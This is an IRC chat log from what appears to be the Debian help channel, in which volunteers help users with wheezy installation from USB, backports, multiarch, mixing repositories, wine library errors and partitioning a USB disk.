| 10:44.41 | jelly | -> #debian-offtopic |
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| 11:00.42 | czjopi | Hello, it is possible to configure multiple network bonds? What is the "Debian way"? |
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| 11:02.18 | jdoles | How can I tell KDE to open .foo files with the program called foo and .bar files with the program called bar? Both are plain text files. |
| 11:02.57 | ChrisH | jdoles: open from filebrowser? |
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| 11:06.14 | ChrisH | jdoles: assuming konqueror I see Setup / setup Konqueror / Point 3 (Fileassigment?) I could add new assignments. (I needed to translate my locale menue entries to english, so they might differ from what you see) |
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| 11:09.18 | jdoles | ChrisH, I created a new application type, associated the desired extension with it, and then tried to open the document. |
| 11:09.24 | jdoles | ChrisH, is used the generic plain text handler. |
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| 11:10.18 | jdoles | ChrisH, it needs a restart of the application. |
| 11:11.13 | jalalsfs | How to add wheezy backports repository in the system? |
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| 11:12.58 | Sevet | !tell jalalsfs -about debian-backports |
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| 11:14.34 | petn-randall | czjopi: What do you exactly mean by "network bonds"? |
| 11:14.49 | jalalsfs | Sevet, Okay, thank you, is it work now? I mean are there packages on it yet? |
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| 11:15.56 | themill | jalalsfs: sure |
| 11:16.24 | jalalsfs | themill, Can I list the packages inside the backports for Wheezy? |
| 11:16.36 | themill | dpkg: tell jalalsfs about bpo contents |
| 11:17.16 | kaiserleo | I'm trying to install debian wheezy (netinstall iso) from USB drive and used unetbootin on Windows to create it. But the graphical debian installer wants cdrom drivers (probably to load install files from cd) but I don't even have a cd/dvd drive on this netbook. What should I do? |
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| 11:19.15 | babilen | kaiserleo: Yeah, unetbootin is known to be broken and you really shouldn't use it. |
| 11:19.20 | babilen | dpkg: tell kaiserleo -about usb install |
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| 11:19.58 | kaiserleo | babilen: Great, thanks! |
| 11:19.59 | Kiril | hello guys |
| 11:20.10 | Kiril | what's the name of package bcrypt ? |
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| 11:21.42 | petn-randall | Kiril: You answered your own question ... |
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| 11:22.55 | Kiril | E: Unable to locate package bcrypt |
| 11:22.56 | jalalsfs | themill, Nice, thank you, I want to upgrade liberoffice to version 4 from backports, shall I remove the old version first or direct install? |
| 11:23.01 | Kiril | i've already tried |
| 11:23.14 | petn-randall | Kiril: It's not available in wheezy, since it's broken. |
| 11:23.28 | Kiril | this is different page so thanks |
| 11:23.58 | themill | jalalsfs: you should be able to install it |
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| 11:26.43 | petn-randall | Kiril: I'm not sure what you mean with that. |
| 11:26.57 | kaiserleo | babilen: the installer is loading now, thanks again! |
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| 11:28.37 | gwillie | running squeeze on hp laptop. i run virtualbox with gksu and anytime a vm is running, host has no sound. any suggestions |
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| 11:29.21 | Gaxnys | gwillie: Is the VM outputting directly to ALSA or to the PulseAudio server? |
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| 11:30.40 | gwillie | Gaxnys: well that shows you how little research i did! how do you tell |
| 11:31.03 | jalalsfs | themill, I got this https://paste.debian.net/11292/ |
| 11:31.06 | Chelsea_ | Has anyone else got the (unreproducable) error "Signal 11 caught" from working with gnu-screen, and changing terminal sizes? |
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| 11:32.06 | babilen | kaiserleo: You are welcome -- Enjoy! |
| 11:32.35 | petn-randall | Gaxnys: You should be running VirtualBox as root ... |
| 11:32.43 | petn-randall | *shouldn't! |
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| 11:32.51 | babilen | kaiserleo: fwiw, If you are installing wheezy and if you have a working internet connection during the installation you might want to use the netinstall installer *with* firmware |
| 11:32.59 | babilen | dpkg: tell kaiserleo -about firmware image |
| 11:33.31 | Gaxnys | gwillie: Well, outputting directly to ALSA makes everything else silent. |
| 11:33.37 | babilen | kaiserleo: Do you have any preferences regarding desktop environments? Debian wheezy installed Gnome 3 by default if you install the "Desktop" task, but you might prefer something else. |
| 11:33.46 | kaiserleo | babilen: Brilliant, it just bugged me about unfree firmware |
| 11:33.57 | babilen | kaiserleo: Hence my recommendation :) |
| 11:34.04 | kaiserleo | babilen: Yeah I was going for Cinnamon |
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| 11:34.23 | kaiserleo | babilen: I want the traditional desktop look and feel |
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| 11:34.40 | babilen | kaiserleo: cinnamon is not in wheezy, are you planning to use jessie (testing) or sid (unstable) ? |
| 11:35.55 | kaiserleo | babilen: I've seen a tutorial where the author adds mint to the apt sources and installs it from there or is there a better way? I've also read about apt-pining and I'm installing wheezy stable and hope to get up to date applications that way |
| 11:35.58 | gwillie | Gaxnys: thanks you have given me a starting point |
| 11:36.16 | Gaxnys | gwillie: Glad I can help, if it was any help. |
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| 11:37.19 | ually | hi guys |
| 11:37.28 | ually | i'm trying to up a ppp0 tunnel |
| 11:37.35 | ually | i shut it down with "poff" |
| 11:37.38 | gwillie | Gaxnys: sure was helpful |
| 11:37.38 | babilen | kaiserleo: I wouldn't recommend to do that. If you want to run mint then run mint and be done with it. Mixing Debian with other distributions *will* break your system. That being said: cinnamon *is* packaged in Debian and you can install it. It is just not available in our current *stable* (note: stable means "not changing") release, but in the development releases "testing" and "unstable" |
| 11:38.16 | Sevet | since it's in testing, it might be possible to backport it |
| 11:38.17 | ually | but when i try to get it up with "pon" i gett: "in file /etc/ppp/peers/provider: unrecognized option '/dev/modem' |
| 11:38.27 | kaiserleo | babilen: I see, what should I do then? |
| 11:38.40 | babilen | kaiserleo: You might want to consider tracking testing (currently "jessie") in a "tum" (testing unstable mix) configuration that allows you to pull selected packages from unstable. |
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| 11:39.55 | nyuszika7h | 7.1? :O |
| 11:40.05 | babilen | kaiserleo: I would recommend to read http://wiki.debian.org/DebianUnstable if you consider that. Running testing is a bit harder than running stable and you will have to learn a bit more about how to work with a Debian system. |
| 11:40.09 | babilen | dpkg: tell kaiserleo -about tum |
| 11:41.01 | petn-randall | ually: Paste contents of that file → http://paste.debian.net |
| 11:41.04 | kaiserleo | babilen: I have no problem with that, I wanted to dive in anyway. Can I run the install with the firmware image you last linked me to however? |
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| 11:41.39 | nyuszika7h | is it needed/recommended to reboot after a point release upgrade? |
| 11:41.52 | babilen | kaiserleo: Okay, fair enough. Note that testing/unstable are support in #debian-next on irc.oftc.net -- Make sure to install apt-{listbugs,listchanges} and to read the wiki page I linked earlier. |
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| 11:42.09 | petn-randall | nyuszika7h: Unless there is a kernel update, you never have to reboot. |
| 11:42.16 | babilen | kaiserleo: Yes, you can use that install image just fine and you should install wheezy *first* anyway and then upgrade to testing from there. |
| 11:42.17 | nyuszika7h | ah |
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| 11:42.37 | nyuszika7h | well |
| 11:42.51 | nyuszika7h | The following packages will be upgraded: ... linux-image-3.2.0-4-amd64 ... |
| 11:43.07 | petn-randall | nyuszika7h: And depending on if there are security issues that were fixed, AND they affect you, you might not even have to reboot then. |
| 11:43.11 | babilen | nyuszika7h: I guess that answers your questions ;) |
| 11:43.11 | kaiserleo | babilen: I will, thanks a lot! |
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| 11:43.44 | ually | petn-randall, file does not exists |
| 11:43.53 | ually | /dev/modem |
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| 11:44.12 | babilen | kaiserleo: Let us know if you need any additional help. I would also recommend to familiarise yourself with Debian by reading http://debian-handbook.info/browse/stable/packaging-system.html and the next chapter. |
| 11:44.21 | babilen | (or the entire book) |
| 11:44.37 | kaiserleo | babilen: I might just read the whole book :) |
| 11:45.20 | Frosh | Is there a sound applet for debian xfce ? just changing the volume right in the panel? not the alsamixer? |
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| 11:45.51 | hefest | hello, any ideas how to get 32bit binaries working on 64bit jessie? |
| 11:46.13 | hefest | ie32-libs is depending on ie32-libs-i386 package which is not available |
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| 11:46.42 | kaiserleo | babilen: Have to go now, you've been incredibly helpful. I can't thank you enough |
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| 11:47.48 | tremon | hefest: dpkg --add-architecture i386 |
| 11:47.53 | Sevet | hefest: those libraries are no longer used |
| 11:47.57 | Sevet | !tell hefest -about multiarch |
| 11:48.09 | Naphatul | if i install firefox manually will updating like windows work or will i have to reinstall every update? |
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| 11:48.42 | hefest | tremon: do i have to upgrade/update after that? |
| 11:49.04 | Sevet | hefest: just apt-get update then install the i386 version of the library |
| 11:49.13 | Sevet | read the bot factoid |
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| 11:49.44 | hefest | Sevet: ok, but im trying to execute 32bit adb which is not installed from packages, cant even ldd it, ldd /home/ak/bin/adt-bundle-linux-x86_64-20130522/sdk/platform-tools/adb not a dynamic executable |
| 11:50.41 | tremon | hefest: the minimum you need is to install libc6:i386 |
| 11:51.17 | hefest | tremon: ok, apt-get update was missing after dpkg --add-architecture i386 |
| 11:51.21 | hefest | tremon: sevet: thanks guys |
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| 12:04.49 | hefest | tremon: ok, im trying to install ie32-libs-i386, i guess those are basic libs for 32bit? |
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| 12:07.05 | tremon | those are much more than just some basic libs. A better way is to only install the libraries you actually need |
| 12:07.05 | hefest | tremon: http://www.pastebin.ca/2402200 |
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| 12:08.05 | tremon | either your installation isn't up-to-date, you've installed from non-debian sources, or you're mixing releases |
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| 12:09.34 | hefest | tremon: freshly installed wheezy and than sources changed to official jessie repos |
| 12:09.34 | hefest | tremon: apt-get dist-upgrade |
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| 12:10.12 | tremon | can you paste the output of apt-cache policy and aptitude -s full-upgrade? |
| 12:11.12 | hefest | tremon: http://www.pastebin.ca/2402210 |
| 12:11.32 | tremon | It looks like testing is older than stable/security, at least for some packages |
| 12:12.00 | hefest | tremon: maybe repos is out of date? |
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| 12:13.38 | tremon | maybe, but I'm seeing the same here. The problem is that not all of your packages have been upgraded to testing, because stable's security updates haven't been applied to testing |
| 12:14.08 | tremon | For example, if you do apt-cache policy libgssapi-krb5-2 you'll see that you're not running jessie's version |
| 12:14.40 | hefest | tremon: solution? |
| 12:15.17 | tremon | I can think of two solutions, but neither is really appealing. One is adding back stable/updates to at least resolve those packages, the other is upgrading to sid |
| 12:15.38 | hefest | sid? |
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| 12:15.44 | tremon | unstable |
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| 12:16.21 | tremon | I'd choose the former. First create a file with APT::Default-Release "jessie"; in /etc/apt/apt.conf.d, then add back the stable security repo |
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| 12:18.42 | Autchirion | hi, ich bin gerade etwas aufgeschmissen, ich will etwas per konsole runterladen, aber die "normale" herangehensweiße per wget klappt net, der link sieht so aus: http://doma.in/folder/file.exe?cryptic&fileExtForIe=.exe hätte jemand nen Tipp wie ich das hin bekommen könnte? |
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| 12:19.13 | tremon | !de |
| 12:19.14 | dpkg | Deutschsprachige Hilfe bekommt ihr in #debian.de (auf irc.oftc.net, irc.freenode.net oder irc.belwue.de) - German speaking users please go to #debian.de (on irc.oftc.net, irc.freenode.net or irc.belwue.de). |
| 12:19.18 | Autchirion | habe es mal mit curl versucht, aber der schreit vorbidden :D |
| 12:19.19 | Autchirion | oh, sry |
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| 12:19.42 | Autchirion | didn´t notice that :-) |
| 12:20.01 | Sevet | Autchirion: try this |
| 12:20.03 | Sevet | wget "http://doma.in/folder/file.exe?cryptic&fileExtForIe=.exe" |
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| 12:20.20 | Sevet | & is a special console character to move the command into the background |
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| 12:20.34 | Sevet | quotes should make it work |
| 12:20.43 | zetheroo1 | does the ext4 filesystem have a default IO timeout period? |
| 12:20.43 | tremon | Hadn't even started to parse the actual question :) |
| 12:20.49 | hefest | tremon: security repo also stable? |
| 12:21.03 | hefest | tremon: and updates repo stable? |
| 12:21.19 | hefest | !it |
| 12:21.19 | dpkg | Ciao, vai su #debian-it per ricevere aiuto in italiano. Italian Speakers: Please use #debian-it, there you will get much more help. |
| 12:21.55 | drhouse123_ | hi! my monitor doesn't blank after 5 minutes but i set up it in kde settings, acpid in installed. something wrong with upower? |
| 12:22.08 | Autchirion | Sevet, 403 forbidden |
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| 12:22.57 | Sevet | Autchirion: perhaps the link requires authentication, or a cookie from elsewhere |
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| 12:23.23 | tremon | hefest: yes, but stable/updates is the security repo, they're not separate repositories. Testing doesn't have security fixes (there's also stable-updates to make things more complicated) |
| 12:23.38 | hefest | tremon: i tried like this http://pastebin.ca/2402229 |
| 12:23.49 | hefest | tremon: apt-get update && apt-get upgrade and nothing is changed |
| 12:24.04 | tremon | zetheroo1: what do you mean with IO timeout? most of that is handled by the vfs layer, not the filesystem itself |
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| 12:25.20 | tremon | hefest: that is expected, but if you do apt-cache policy libgssapi-krb5-2 it should show you a source other than local for the currently installed version |
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| 12:26.15 | hefest | tremon: http://pastebin.ca/2402231 |
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| 12:27.01 | tremon | hefest: that looks good. Now you can try your original command again |
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| 12:27.38 | zetheroo1 | tremon: ok, not really sure ... we have a bit of a complex situation involving VM's and Gluster ... |
| 12:27.41 | hefest | tremon: aptitude install ie32-libs-i386, same thing |
| 12:27.41 | Bugson | is there some way to use gdebi with force architecture? |
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| 12:28.20 | zetheroo1 | tremon: I am just trying to find out if there is such a thing as a filesystem timeout after which the filesystem goes into read-only mode ... |
| 12:28.34 | tremon | hefest: can you paste the output again? |
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| 12:29.16 | hefest | tremon: http://pastebin.ca/2402234 |
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| 12:29.47 | tremon | zetheroo1: there shouldn't be. If there is, I'l be looking at the block layer (device), not the filesystem |
| 12:29.59 | woshty | Is there something like hypermail left in debian? |
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| 12:32.12 | tremon | hefest: does aptitude give you better solutions if you say no? at the aptitude prompt, type r 192, then n. You can guide aptitude by rejecting certain solutions |
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| 12:32.46 | themill | Bugson: what are you really trying to achieve here? |
| 12:32.59 | oo_miguel | Is it ok to run squeeze or should i switch to wheezy? |
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| 12:33.06 | ixion2600 | Hi guys, I wanted to ask you if you could help with an issue with wine 1.4.1, respectively with /usr/lib/i386-linux-gnu/pkcs11/gnome-keyring-pkcs11.so |
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| 12:33.19 | ixion2600 | I googled everything but I did not find any answer, there is also a bug report |
| 12:33.30 | Bugson | themill: I'm trying to install local package with gdebi so it also install all depend... |
| 12:33.36 | ixion2600 | os wheezy, arch 64, kern ver is 3.2.41-2+deb7u2 |
| 12:33.38 | joltcan | oo_miguel: wheezy is officially the latest stable, so why not run that? |
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| 12:34.22 | themill | Bugson: how is it supposed to work when it's the wrong architecture? |
| 12:34.33 | tremon | oo_miguel: you have about 10 months left before squeeze will stop receiving security updates. I'd say you "should" be planning to upgrade, but there no reason to hurry |
| 12:35.00 | oo_miguel | joltcan: I have some servers running squeeze, and wonder if updating them to wheezy is obligatory |
| 12:35.14 | Bugson | themill: it can be installed with dpkg --force-arch... but there's bunch of dependencies which must be installed first |
| 12:35.23 | themill | Bugson: also, what version of debian is this for? |
| 12:35.32 | Bugson | themill: wheezy |
| 12:35.34 | themill | Bugson: just because you can force-arch doesn't mean the package is going to work |
| 12:35.34 | hefest | tremon: ok, didnt know that. i was avoiding aptitude for too long |
| 12:35.40 | oo_miguel | tremon: thanks |
| 12:35.47 | Bugson | themill: I've got info that it does work |
| 12:36.04 | hefest | tremon: this looks acceptable http://pastebin.ca/2402248 |
| 12:36.26 | themill | Bugson: what arch is it? what arch do you have? Please try to provide enough information that we can help you |
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| 12:37.00 | Bugson | themill: it's amd64 and I'm trying to install package for i386 |
| 12:37.13 | tremon | hefest: yes, somewhat. Apparently there are still some libraries that can't be pulled from a repository, but at least nothing will get removed :) |
| 12:37.27 | hefest | tremon: would switching back to testing only be advisable? |
| 12:37.38 | themill | Bugson: so for that you want to use multiarch; /msg dpkg multiarch |
| 12:37.43 | Bugson | according to producer of the software it works without a glitch on amd64 |
| 12:37.49 | petn-randall | nyuszika7h: Last time I rebooted was when there was the leap second bug in the kernel :) |
| 12:37.53 | ixion2600 | has anybody successfully compiled wine 1.5? |
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| 12:38.51 | tremon | hefest: not sure what you're asking. You're still running testing, the only thing we changed is to add back the source repo for non-testing packages on your system |
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| 12:39.10 | joltcan | oo_miguel: sooner or later the support for squeeze will be removed, and then you won't have any updates. So you don't have to update right now |
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| 12:39.41 | tremon | hefest: in time, all the packages that you're now pulling from stable/updates will be replaced with newer versions from testing |
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| 12:39.52 | petn-randall | ixion2600: Surveys are frowned upon. It's better you skip straight to your actual question. :) |
| 12:39.58 | joltcan | oo_miguel: I would recommend you to have a look at the release notes before you do though |
| 12:40.13 | hefest | tremon: oh i see, ok |
| 12:40.24 | hefest | tremon: i assumed there is source repo for testing too |
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| 12:40.58 | ixion2600 | :) I was asking if somebody has issues with wine 1.4.1 with the gnome-keyring-pkcs11.so on 64 arch. I tried also to compile the new wine, but for some reason it did not work properly |
| 12:41.00 | Bugson | themill: will look into it |
| 12:41.02 | petn-randall | oo_miguel: squeeze is supported for ${wheezy release date + 1 year}. |
| 12:41.04 | tremon | there is, but you don't need it unless you need to recompile packages |
| 12:41.12 | Bugson | themill: thx for the tip |
| 12:41.16 | themill | Bugson: force-arch is never the right thing to do. multiarch lets you do this without screwing up your system |
| 12:41.20 | ixion2600 | I am running on wheezy amd64 kern version 3.2.41-2+deb7u2 |
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| 12:41.29 | joltcan | oo_miguel: so you have 1 year to upgrade before squeeze is killed off, so upgrade before that |
| 12:41.35 | hefest | tremon: currently im using stable security repo and stable-updates |
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| 12:41.44 | petn-randall | ixion2600: Wine 1.4.1 is already in wheezy. Why do you want to recompile it? |
| 12:41.50 | Bugson | themill: thx a lot for your time |
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| 12:42.03 | themill | Bugson: no worries. Happy hunting |
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| 12:42.19 | ixion2600 | i wanted to compile 1.5.1 because I cannot run anything: p11-kit: couldn't load module: /usr/lib/i386-linux-gnu/pkcs11/gnome-keyring-pkcs11.so: /usr/lib/i386-linux-gnu/pkcs11/gnome-keyring-pkcs11.so: cannot open shared object file: No such file or directory |
| 12:42.29 | tremon | hefest: ah, I see I've been a bit ambiguous in my words. When I said "source repo" I meant the binary repository where your currently installed version is from |
| 12:43.01 | tremon | hefest: could you repaste the output of apt-cache policy? I think you still have the testing sources there too |
| 12:43.05 | petn-randall | ixion2600: Looks like something is broken with your installation. I can hardly believe wheezy was released with that bug. |
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| 12:43.35 | petn-randall | ixion2600: What are your contents of /etc/apt/sources.list (paste to http://paste.debian.net)? Is your system up-to-date? |
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| 12:44.04 | hefest | tremon: http://pastebin.ca/2402257 |
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| 12:44.09 | ixion2600 | I just watched like 5 bug reports for this issue, but apparently there is no fix for this, everybody is recommending to convert to multiarch ... |
| 12:44.49 | ghking | help me please! My stardict always quit automaticly when I scan or input anyword. I have try start it in terminal, it shows "Segmentation fault" when it dead. |
| 12:44.54 | drhouse123_ | screen energy saving doesn't work in deban 7 with kde |
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| 12:45.41 | ixion2600 | http://paste.debian.net/11302/ here it is |
| 12:45.51 | ixion2600 | I have the default repos |
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| 12:47.39 | petn-randall | ixion2600: Wheezy has multiarch support, it was one of the release goals. I can only find Ubuntu bugs to this ... :/ |
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| 12:48.58 | tremon | hefest: if you look at line 56 of that paste, you'll see that you still have testing/main (aka jessie) as your primary repository, with a priority of 990. Line 35 is the stable security repo, which you need because some of your packages are at that version. Those lines are only for the transition now, but there is no harm in keeping them indefinitiely since their priority is lower (500) |
| 12:49.24 | ixion2600 | I tried to compile 1.5.1, it did not work .. maybe I screwed something, but I did it 2 times, removed 1.4.1, and still nothing. Maybe you know some other repo's to test on? or could you recommend something else, some other way to do it? |
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| 12:49.55 | petn-randall | ixion2600: Does it break how wine works, or are those just annoying messages? |
| 12:49.57 | jelly | ,checkbackport --fromrelease sid wine-unstable |
| 12:49.58 | judd | No package named '--fromrelease' was found in sid/i386. |
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| 12:50.19 | jelly | ,checkbackport wine-unstable --fromrelease sid |
| 12:50.32 | themill | (that's the default fromrelease btw) |
| 12:50.34 | judd | Backporting package wine-unstable in sid→wheezy/i386: all build-dependencies satisfied using wheezy, virtual. |
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| 12:51.18 | hefest | tremon: ok, thanks a bunch |
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| 12:51.24 | jelly | noticed a maintainer gave up on packaging every interim version and just uploaded wine 1.5.29 |
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| 12:51.36 | petn-randall | http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=686843 ← the maintainer of wine/gnome-keyring arguing who's fault it is. |
| 12:51.37 | ixion2600 | for example, I tried to open some game to test it, counter strike works. I tried to instal adobe CS6, this is where it says that the installation did not finish successfully. But the installer pop's up and it is loading |
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| 12:51.49 | moxie | anyone used kvm? |
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| 12:52.52 | ixion2600 | The same lib error appears every time but CS is running, not on widescreed though :) |
| 12:52.55 | petn-randall | moxie: Yes, people do! |
| 12:53.06 | moxie | petn-randall, have you? |
| 12:53.09 | jelly | ixion2600, petn-randall: the obvious solution is to install and use i386 userspace instead of amd64 |
| 12:53.15 | Sevet | !tell moxie -about ask |
| 12:53.29 | jelly | s/solution/workaround/ if you will |
| 12:53.29 | ghking | help me please! My stardict always quit automaticly when I scan or input anyword. I have try start it in terminal, it shows "Segmentation fault" when it dead. |
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| 12:53.35 | moxie | how do you exit the kvm serial console |
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| 12:54.24 | moxie | i cant find anyone that knows |
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| 12:55.10 | petn-randall | ghking: Are you on squeeze or wheezy? |
| 12:55.39 | ghking | <petn-randall>, wheezy |
| 12:55.57 | Pingu | hey guys, I'm running wheezy with gnome 3 and frankly I hate it so I boot with classic mode everytime, where are the gtk conf files for stuff like top panel and gnome panel located? |
| 12:56.35 | Pingu | can't find them in ~/.conf/ |
| 12:56.35 | petn-randall | moxie: The man page says ctrl+a x |
| 12:56.35 | Pingu | config* |
| 12:56.42 | moxie | petn-randall, doesn't work |
| 12:56.55 | Pingu | what's the problem that petn has? |
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| 12:57.35 | ixion2600 | jelly dpkg --add-architecture i386 and install and then dpkg --remove-architecture i386 ?? |
| 12:58.00 | jelly | ixion2600: no, install and use a 32bit debian |
| 12:58.17 | petn-randall | jelly: You forgot to close your </sarcasm> |
| 12:58.31 | jelly | petn-randall: not really, my workstations are i386 mostly, with some amd64 stuff |
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| 12:58.38 | ixion2600 | yeah :)) |
| 12:58.53 | moxie | sigh |
| 12:59.00 | dekiss | if I format usb disk in windows 7 with fat default can I read write files on the usb from debian? |
| 12:59.14 | ixion2600 | It whould be a pain to switch just for adobe photoshop cs6 :)) |
| 12:59.22 | jelly | petn-randall: this handles corner cases and reduces my rage by a significant amount |
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| 12:59.37 | tremon | Pingu: probably .gconf, but you probably need gsettings or dconf to access them |
| 12:59.41 | petn-randall | moxie: It works for me. Maybe your terminal isn't passing through the commands? Are you using a physical keyboard on the machine? |
| 12:59.47 | jelly | ixion2600: you could debootstrap and use a 32bit chroot |
| 12:59.55 | moxie | petn-randall, i found it...its ctrl + ] |
| 12:59.58 | pixelshuck | Hello, how do I disable automatic dhcp try at wheezy(stable) startup? |
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| 13:00.03 | moxie | the documentation is all bad though |
| 13:00.06 | petn-randall | dekiss: Yes. |
| 13:00.20 | Pingu | tremon yeah also I noticed a lot of problem with thin, would it be best to just install mate? |
| 13:00.31 | jelly | pixelshuck: configure a static ip in /etc/network/interfaces instead |
| 13:00.56 | tremon | Pingu: that's a personal choice, I prefer e17 anyway |
| 13:00.58 | pixelshuck | That's the only way? |
| 13:00.58 | pixelshuck | I do not use ethernet, so it just is stuck for 20s at boot |
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| 13:01.21 | tremon | pixelshuck: remove the auto eth0 line |
| 13:01.25 | dekiss | when I try this sudo cp -r /home/dejan/Britanica /home/dejan/usb I get this |
| 13:01.31 | ixion2600 | I think I will use a vm and install it there. I think it would be allmost the same load except the os resource consumption |
| 13:01.33 | dekiss | cp: writing `/home/dejan/usb/Britanica/data/DICTIONARY_DATA.zip': No space left on device |
| 13:01.35 | dekiss | why? |
| 13:01.39 | pixelshuck | tremon, Thanks, i'll try! |
| 13:01.43 | tremon | dekiss: because the disk is full |
| 13:01.46 | Sevet | dekiss: because there's no space left? |
| 13:01.53 | ixion2600 | Thank you for the help |
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| 13:02.02 | dekiss | also when I do sudo fdisk -l i get this WARNING: GPT (GUID Partition Table) detected on '/dev/sdb'! The util fdisk doesn't support GPT. Use GNU Parted. |
| 13:02.06 | ixion2600 | I will test the too jelly |
| 13:02.12 | dekiss | I just format the usb disk |
| 13:02.29 | dekiss | with fat default in windos then again in debian with mkfs.vfat /dev/sdx |
| 13:02.31 | Sevet | that means you changed the partition table type without getting rid of the previous one |
| 13:02.33 | babilen | dekiss: Yes, you have to use gdisk if you want to keep the GPT layout |
| 13:02.48 | dekiss | what is GPT layout |
| 13:02.50 | tremon | dekiss: did you mount your usb disk as ~/usb ? |
| 13:03.05 | babilen | yeah, that is also atypical |
| 13:03.08 | dekiss | i mount as sudo mount /dev/sdb2 /home/dejan/usb |
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| 13:03.32 | petn-randall | Sevet: It doesn't. If there's a GPT and a MSDOS partition table, it's a different error message. |
| 13:03.55 | Sevet | ah right. only read as far as !, different after that i guess? |
| 13:03.57 | tremon | dekiss: sdb2? |
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| 13:04.41 | petn-randall | Sevet: It's something like 'GPT and MSDOS partition table differ', maybe only parted says that, though. |
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| 13:04.47 | Sevet | 'k |
| 13:04.52 | Sevet | dekiss: df -h tells you how much space is on /home/dejan/usb? how much space do you need? du -h /home/dejan/Britanica |
| 13:05.13 | babilen | dekiss: okay - you can, naturally, do that but it is more common to mount removable devices using, say, nautilus (gnome), thunar (xfce), dolphin (KDE) or other tools that allow "normal" users to mount them such as pmount. They are then, typically, mounted to /media/$LABEL |
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| 13:05.27 | dekiss | so after I format disk in windows fat default can I use it in linux and if yes how? |
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| 13:06.17 | tremon | dekiss: is the file you're copying larger than 4GB? |
| 13:06.21 | petn-randall | dekiss: Yes, you still can, and babilien covered the rest of the question. |
| 13:06.41 | babilen | dekiss: You don't have to do anything special. Please note that "format" simply means "create a filesystem" and that you can do that in Linux too. It would also not change the partitioning of your drive. But please psate the output of "gdisk -l /dev/sdb" and "df -h" on http://paste.debian.net |
| 13:07.13 | babilen | s/psate/paste/ |
| 13:07.51 | dekiss | treaki__, I believe its more then 4gb |
| 13:07.57 | dekiss | not fiel folder |
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| 13:08.03 | dekiss | file* |
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| 13:08.46 | tremon | fat32 can't handle files larger than 4GB, regardless of the size of the partition |
| 13:09.05 | jonatan | Hello. Is there an easy way to find the ./configure options used to build a debian package? I'm interested in the configuration for the sqlite library. |
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| 13:09.32 | themill | jonatan: you need to inspect the file "debian/rules" inside the source package. /msg dpkg source |
| 13:09.48 | jonatan | themill, Much appreciated, thanks! |
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| 13:10.06 | themill | (or "/msg dpkg source package" might be slightly more useful for you) |
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| 13:11.16 | babilen | jonatan: If you want to change that or are generally interested in maintaining a number of local forks you might want to look into apt-src |
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| 13:12.34 | jonatan | babilen, Actually, I am looking to reproduce the sqlite binary used in debian for a different (non-debian) system. I think obtaining the rules file is enough for me. |
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| 13:14.12 | boudiccas | many times I have 2 windows of chromium open with maybe 30 different tabs over thetwo windows. but if i close for rebooting, for instance, i only get back one page of windows. How can i get back both pages of windows please? |
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| 13:17.17 | ChrisH | boudiccas: With iceweasel I use the power of kill -9 to force a recovery. :) |
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| 13:18.30 | dekiss | when I try to copy some files on the usb some files are copied but most are not with some errors like this cp: writing `/home/dejan/usb/Britanica/autorun.inf': No space left on device |
| 13:18.33 | dekiss | cp: failed to extend `/home/dejan/usb/Britanica/autorun.inf': No space left on device |
| 13:18.47 | dekiss | usb disk is just formated in windows 7 fat default and has 8 gb free space on it |
| 13:18.55 | dekiss | the folder I am trying to copy is 4 gb max |
| 13:19.04 | veek | any idea how to configure an alert in conky.. i'd like a color change when my network connection is down on the clock. |
| 13:19.22 | boudiccas | ChrisH, hmm, thanks never heard of that before |
| 13:19.30 | ChrisH | dekiss: df -h /home/dejan/usb/Britanica should show you disk is full |
| 13:19.34 | babilen | dekiss: Would you mind pasting the information I asked you about earlier instead of leaving the channel and asking a similar question ten minutes later? |
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| 13:19.50 | veek | ${font Gothic:bold:size=15}$alignc${time %I:%M %p} |
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| 13:20.33 | babilen | dekiss: And (also as mentioned earlier): You can create filesystems and/or change the partitioning of your disk just fine from Linux and really don't have to boot Windows for that. |
| 13:21.23 | pixelshuck | Guys, is it possible to get kde3 on Wheezy? |
| 13:21.31 | pixelshuck | Trinity seems to be broken(dependencies) |
| 13:22.19 | dekiss | I think previously when I have put usb disk into computer it got auto mounted in nautilus now it dont? |
| 13:23.12 | babilen | pixelshuck: I don't think so -- What exactly is broken? (not a KDE user and "Trinity" is a character in the Matrix movie series for me) |
| 13:23.26 | dekiss | output of this gdisk -l /dev/sdb is this: http://pastie.org/8059352 |
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| 13:23.53 | pixelshuck | (trinity is KDE3 fork, like MATE on Gnome2) | It depends on itself, clearly their side is problematic. |
| 13:24.22 | babilen | dekiss: "Total free space is 15130673 sectors (7.2 GiB)" -- It looks as if you created a partition with the whopping size of 448.0 KiB |
| 13:24.31 | pixelshuck | I Have _really_ old computer, and I need to get it to work, currently using mate, but I don't really like it too much. |
| 13:24.31 | pixelshuck | And LXDE or XFCE? NAh. |
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| 13:24.52 | dekiss | http://paste.debian.net/11312/ |
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| 13:25.08 | dekiss | babilen, why 400 kb? |
| 13:25.19 | dekiss | I formated it with windows default fat |
| 13:25.23 | petn-randall | babilen: Yepp 428K :) |
| 13:25.28 | babilen | dekiss: It also looks as if you changed the disk layout since the last time you had problems. I would recommend partitioning the disk to your liking for which you can use, for example, "fdisk /dev/sdb" or "gdisk /dev/sdb" or a more "user friendly" frontend like "parted /dev/sdb" |
| 13:25.30 | petn-randall | dekiss: Look at the output you pasted us. |
| 13:26.02 | dekiss | ok what is going on |
| 13:26.16 | dekiss | when I try to format my usb disk rom windows using fat it says capacity 400 kb? |
| 13:26.17 | petn-randall | dekiss: For a even more user-friendly GUI, you can also use "gparted". |
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| 13:27.15 | babilen | petn-randall: I meant that in lieu of "parted" -- I wouldn't actually call parted userfriendly ;) |
| 13:27.45 | babilen | dekiss: I have no idea what you did in Windows, but you certainly didn't do what you thought you did. |
| 13:27.47 | dekiss | ok so if I put my windows installation disk can I repartition my usb disk with that boot partition tool |
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| 13:27.52 | dekiss | that windows bootable disk has? |
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| 13:28.13 | petn-randall | babilen: Just recommending gparted, since it's GUI, and most users can cope with stuff like that better. ;) |
| 13:28.25 | babilen | dekiss: You can partition the disk just fine in Debian and also create filesystems on the newly partitioned disk. |
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| 13:28.42 | dekiss | ok hanks |
| 13:28.45 | dekiss | thanks* |
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| 13:28.50 | dekiss | but pls answer my question |
| 13:28.52 | ispirto | how to solve this on squeeze E: Package 'ia32-libs' has no installation candidate |
| 13:28.56 | babilen | petn-randall: Yeah, sure ... I meant that 'or a more "user friendly" frontend like "parted /dev/sdb"' should have been 'or a more "user friendly" frontend like "gparted /dev/sdb"' |
| 13:29.00 | orange_ | Can anyone help me get tor working? I have never used it on Debian before and the guides I found haven't worked thus far. |
